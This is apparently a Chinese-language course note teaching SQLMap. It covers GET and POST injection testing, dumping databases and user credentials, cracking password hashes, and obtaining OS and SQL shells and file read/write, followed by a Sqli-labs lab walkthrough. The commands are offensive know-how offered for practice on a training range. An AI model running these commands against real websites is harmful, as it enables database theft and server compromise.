发布于2022年10月15日3年前 一、SQLMap 打开方式 ① 点点点 :采用这种方法打开的 SQLMap 终端是没有后接其它命令的,系统实际上默认执行的是 sqlmap -h 帮助命令,系统会列出相关使用方法 ② 命令行直接敲 sqlmap 命令 :sqlmap 实际上是一个 python 脚本,已写入环境变量 二、SQLMap 基本操作 网页传参方式多为 GET 和 POST 两种 1. GET 探测是否可被注入 sqlmap -u [url?id=x] # get方式探测当前页面是否可被注入,所有id参数值全部写上 sqlmap -u "[url?id=x]" # 多个id值则需要使用引号引起来 # 实际执行命令时去掉[]大括号 一些系统回显提示 : ① 系统已猜测到数据库为 Mysql ,询问是否需要跳过其它数据库类型验证 : ② 确认探测级别 : 数字越小,使用的脚本越少,探测数据越少,探测速度越快 ;反之则反 默认为 1 级,基本上所有参数都会扫一遍 ;2 级会查 cookie ,3 级会查 session ,以此类推 ③ 测试中 :testing 值表示正在使用脚本测试,测试完毕后会回显测试报表 第一次探测时耗时可能有点长,系统会将探测的数据缓存,后续再次探测时速度会有所提升 关注回显中的粗体字( INFO字段 ) ,这些内容基本上已被系统确定可被注入 ④ 探测完毕 :查看报表,下图中显示了 4 种可被注入的方式(漏洞) 2. GET 获取数据库字段(获取所有) 获取当前数据库所有库表列,适用于小站点(大站点内容太多) sqlmap -u [url?id=x] --dump # 若没有接其它参数直接dump,表示一行一行拿所有数据 一些系统回显: ① 抓到了第一张表,数据库名字 :test ,表 :person ,字段 :两行 ② 继续往后抓,在 users 表这里碰到了 password 密码字段 :password 数据为加密数据 do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 是否需要解密 ? MySQL 自带解密工具,若确认解密则使用解密工具开始解密,反之则原样抓取 do you want to crack them via a dictionary-based attack? [Y/n/q] ( 是否需要使用字典爆破 ?)y 若确认爆破,则系统会要求选择字典,2 - 3 为选择自己的字典,1 为 SQLMap 自带的一本常用字典 ③ 若顺利爆破,后续无其它需要手动确认的选项,则自动往后抓取并回显内容,直至抓取结束 获取当前数据库所在的数据库服务器上所有的数据库里的库表列,适用于小站旁站 sqlmap -u [url?id=x] --dump-all # 操作和dump类似 3. GET 获取数据库字段(精确获取) 按照 库 - 表 - 列 的顺序依次精确获取 获取数据库名 ① 获取当前站点使用的数据库名 sqlmap -u [url?id=x] --current-db ② 获取当前站点所在数据库服务器上所有数据库名 sqlmap -u [url?id=x] --dbs 针对库获取对应的表 sqlmap -u [url?id=x] -D test --tables # 获取test库里的表 针对表获取里面的列 sqlmap -u [url?id=x] -D test -T users --columns # 获取test库里users表里的列 按照开发命名规范,password 和 username 等敏感字符里存放的都是其对应的数据 缩小列的范围,只获取所需列里面的数据 : sqlmap -u [url?id=x] -D test -T users -C "username,password" --dump 库表可以后可接 dump 命令 ,例如 : sqlmap -u [url?id=x] -D test --dump # 获取test库里的所有内容 sqlmap -u [url?id=x] -D test -T users --dump # 获取test库下users表里的所有内容 4. GET 多参数情况 多参数需要使用引号引起,同时,判断一个参数是否可被注入就看其是否调用数据库查询数据,调用数据库查询对应数据则可被注入,反之没有调用数据库查询数据则不可被注入 假设现在数据库内有两个参数值 :df 值和 id 值 sqlmap -u "url?df=1&id=1" --dbs # 与前面的单参数情况操作类似 5. POST 参数情况 同一个页面使用 POST 和 GET 两种方式进行探测对于 SQLMap 来说是两个完全不同的页面 post 方式在 url 中不会显示参数值,在网站中一般使用表单以 post 形式将数据传送到服务器,对于 SQLMap 则使用 --data ”键值对“ 参数模型去体现参数形式,示例如下 : sqlmap -u [url] --data "id=1" # --data后接参数值并使用引号引起 POST 方式查 库-表-列 的命令与 GET 方式一致,唯一区别在于使用 --data 参数模型,这个不可删除 sqlmap -u [url] --data "id=1" --dbs # 查库 sqlmap -u [url] --data "id=1" -D 库 --tables # 查库下的表 sqlmap -u [url] --data "id=1" -D 库 -T 表 --columns # 查表下的列 sqlmap -u [url] --data "id=1" --dump # 查当前库所有内容 POST 多参数情况 :& sqlmap -u [url] --data "id=1&df=1" 三、SQLMap 进阶:参数讲解 --current-user # 列出当前网站使用的数据库用户 --users # 列出数据库所有用户 --passwords # 查询数据库用户的密码(弱口令) 如果当前为 MYSQL 客户端,且对方数据库没有限制登陆来源,则此时拿到账户和密码之后可以远程登陆对方数据库 sqlmap -d "mysql://用户名:密码@ip:3306/库名" # 远程登陆对端数据库 --is-dba # 检查当前用户是否为数据库管理员 --sql-shell # 执行自定义SQL语句,使用q退出 --os-shell # 执行任意操作系统命令(有权限限制) 在使用此命令时需要当前用户为数据库管理员且有文件写权限、需要知晓网站目录绝对路径、关闭魔术引号 --os-cmd # 与--os-shell类似,但一次只能执行一条命令 --file-read "目标文件的绝/对/路/径" # 读取文件(下载文件) --file-write "要上传文件的绝/对/路/径" --file-dest "目标地址的绝/对/路/径" # 上传文件(写文件),权限可能只在当前家目录 四、课下 :Sqlilabs 靶场实战 任务要求 :利用今天所学 SQLMap 知识在 Sqlilabs 靶场中的第 1 和 11 关实践,并拿到数据库里的账户和密码等数据 关卡1 :GET 关卡11 :POST 1. 环境搭建:网络配置 要求 : Kali 和 Win 7 在同一个网段内,如果 Kali 没有地址可使用 dhclient 命令获取地址 两台主机测试连通性,Kali 访问 Win7 Sqli 靶场站点(如果 Kali 无法 Ping 通 Win7 而反之可以,则怀疑 Win7 防火墙拦截了 Kali 地址,可选择自定义 Win7 的防火墙规则放行 Kali ,或者直接关闭其防火墙) 2. 关卡1:探测是否可被注入 SQLMap 使用 GET 方法探测此站点是否可被注入,探测结果如下图 ,发现漏洞,可被注入 : 3. 关卡1:获取数据库信息 获取数据库名 当前站点所在数据库服务器上所有的数据库 : 当前此站点使用的数据库 : 通过上方获取到的数据库 security 探测其下面的表,如图所示 : 获取 users 表里的列 : 获取 username 和 password 详细信息 ,拿到我们所需的数据 : 4. 关卡1:实验结果 通过对关卡1进行 GET 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。 5. 关卡11:探测是否可被注入 通过观察站点页面,要求输入账户密码,且在页面 URL 后添加参数时页面无任何变化,猜测此站点数据传输方式不是 GET SQLMap 使用 POST 方法探测此站点是否可被注入 : 当使用 --data 参数模型传递页面上显示的 username 和 password 参数时,结果显示这两个参数不是动态的,且探测结果失败,显然参数不对,使用 Wireshark 对其进行抓包并追踪流,得到实际参数 : 使用上方得到的参数再次使用 POST 方法,探测结果如下图 ,发现漏洞,可被注入 : 6. 关卡11:获取数据库信息 获取数据库名 当前站点所在数据库服务器上所有的数据库 : 当前此站点使用的数据库 : 通过上方获取到的数据库 security 探测其下面的表,如图所示 : 获取 users 表里的列 : 获取 username 和 password 详细信息 ,拿到我们所需的数据 : 7. 关卡11:实验结果 通过对关卡11进行 POST 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。
创建帐户或登录后发表意见